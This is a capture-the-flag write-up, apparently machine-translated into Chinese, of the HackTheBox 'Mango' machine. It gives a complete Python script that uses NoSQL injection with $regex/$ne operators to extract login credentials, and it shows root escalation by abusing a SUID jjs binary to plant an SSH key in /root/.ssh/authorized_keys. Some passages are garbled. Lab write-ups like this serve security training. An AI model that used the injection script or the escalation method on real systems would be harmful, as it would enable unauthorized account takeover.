HackTheBox。芒果演练。通过JJS进行NoSQL注入和LPE

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案

在本文中,我们以授权形式利用NoSQL注入,并通过JJS增加特权。

通过VPN连接到实验室。建议不要从可用对您重要的数据的工作计算机或主机进行连接,因为您会与一个在信息安全领域有所了解的人进入专用网络:)

组织信息
, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.162,我将其添加到/ etc / hosts。

10.10.10.162    mango.htb

首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

图片

现在,有关在端口上运行的服务的更多详细信息,我们将使用-A选项运行扫描。

nmap -A mango.htb -p22,80,443

图片

首先,让我们看一下网站。当访问mango.htb时,他们将我们从http扔到https,并谈论证书的问题。如果您同意风险,则可以看到此页面。

图片

但是没有什么比这更有趣了。nmap扫描显示指定了域的ssl证书信息。将其添加到/ etc / hosts。
10.10.10.162 staging-order.mango.htb
让我们去看看那里是什么。

图片

有一个授权表格-一个可能的入口点。

入口点


我们尝试了几种注入技术来绕过授权。然后,通过将反应与两个条件进行比较,我们找到了标准的NoSql注入:登录名是123,密码是123,登录名不是123,密码不是123。

图片

第二个条件的成功结果成功后,我们将重定向到home.php。因此,NoSql注入是可能的。

图片

由于该页面上没有任何有趣的内容,因此我们只能从该漏洞中获取的是登录名和密码。

用户


让我们看看最大用户名和密码的长度。为此,可以使用以下结构:
login [$ regex] =。{Length}&password [$ ne] = 123-用于登录(对登录进行了正则表达式比较,并且密码无效);
登录[$ ne] = 123; password [$ regex] =。{length}作为密码。

让我们用burp入侵者来做。

图片

图片

图片

因此,最长登录时间为5个字符。对密码执行相同的操作后,我们发现最长的长度为16个字符。

图片

由于用手整理时间太长,我们将编写一个python脚本。首先,我们将举行一个工作会议。

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []


接下来,我们实现枚举登录名的功能。迭代将使用以下正则表达式^ name * *-这样,我们将一次拉伸一个字符。

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)


和类似的功能,仅使用找到的登录名。

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))


完整代码:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]


结果,我们找到了两个用户的凭据。

图片

我们已通过SSH成功​​连接到凭据。

图片

我们有第二个用户的密码,但是它不允许通过SSH登录。我们正在尝试通过输入我们知道的密码来在本地更改用户。

图片


让我们使用LinEnum脚本进行基本枚举

图片

我们找到设置了S位的程序。

图片

例如,检查JJS GTFOBins

图片

也有操作示例。调用本地Shell无效。但是您可以生成ssh密钥,在/root/.ssh/authorized_keys中写入public并使用private连接。

图片

让我们计算一下公共密钥。

图片

现在写下来。

图片

现在以root身份连接。

图片

您可以通过电报加入我们在这里,您可以找到有趣的资料,合并的课程以及软件。让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

All Articles